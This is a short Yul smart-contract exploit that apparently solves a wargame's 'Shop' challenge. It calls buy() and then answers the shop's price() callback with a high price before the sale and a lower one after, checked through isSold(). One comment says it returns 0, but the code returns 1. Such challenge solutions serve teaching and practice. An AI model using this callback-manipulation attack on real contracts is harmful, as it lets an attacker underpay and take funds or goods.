// Use handwritten YUL instead of Solidity to minimize gas costs


object "Buyer" {
    code {
        // Deploy the contract
        datacopy(0, dataoffset("runtime"), datasize("runtime"))
        return(0, datasize("runtime"))
    }
    object "runtime" {
        code {
            let data := calldataload(0)
            if iszero(data) {
                // If calldata is zero, this is the initial call by the attacker.
                // Call Shop.buy()
                mstore(0x20, 0xa6f2ae3a00000000000000000000000000000000000000000000000000000000) /* selector(buy()) */
                let success := call(100000, SHOP_CONTRACT_ADDRESS, 0, 0x20, 0x04, 0x00, 0x00)
                if iszero(success) {
                    revert(0, 0)
                }
                return(0, 0x0)
            }

            // If calldata is not zero, then this is the call from Shop into our price() method.
            // Call into Shop.isSold()
            mstore(0x20, 0xe852e74100000000000000000000000000000000000000000000000000000000) /* selector(isSold()) */
            let success := staticcall(3000, SHOP_CONTRACT_ADDRESS, 0x20, 0x04, 0x00, 0x20)
            if iszero(success) {
                revert(0, 0)
            }

            // If Shop.isSold() == true, return 0, otherwise return 100.
            switch mload(0) case 0 { mstore(0, 100) } default { mstore(0, 1) }
            return(0, 0x20)
        }
    }
}